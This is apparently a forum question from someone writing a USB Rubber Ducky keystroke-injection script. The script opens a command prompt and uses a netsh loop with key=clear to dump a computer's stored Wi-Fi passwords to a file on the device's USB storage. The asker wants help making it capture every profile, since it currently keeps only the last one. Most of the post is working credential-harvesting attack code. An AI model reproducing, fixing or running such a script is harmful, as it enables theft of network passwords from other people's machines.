I'm creating a basic USB Rubber Ducky script with the intent to save a computer's stored wifi passwords into a text file. I have flashed the USB RubberDucky with TwinDuck and have successfully been able to use it as both a keyboard logger, and mass storage device. My code technically works, however, it only prints the last stored profile rather than all of the profiles to the text file.
Here is my code:
DELAY 100
GUI r
DELAY 100
STRING cmd
ENTER
DELAY 100
STRING for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear > d:\wifi.txt | type d:\wifi.txt
ENTER
I know the error has to do with the for loop in line 7, however I have tested the command in command prompt and it outputs all the stored profiles as wanted. The problem is in taking all the output to the command prompt and storing into the text file. Just to restate the issue, it only prints the last Wi-Fi profile.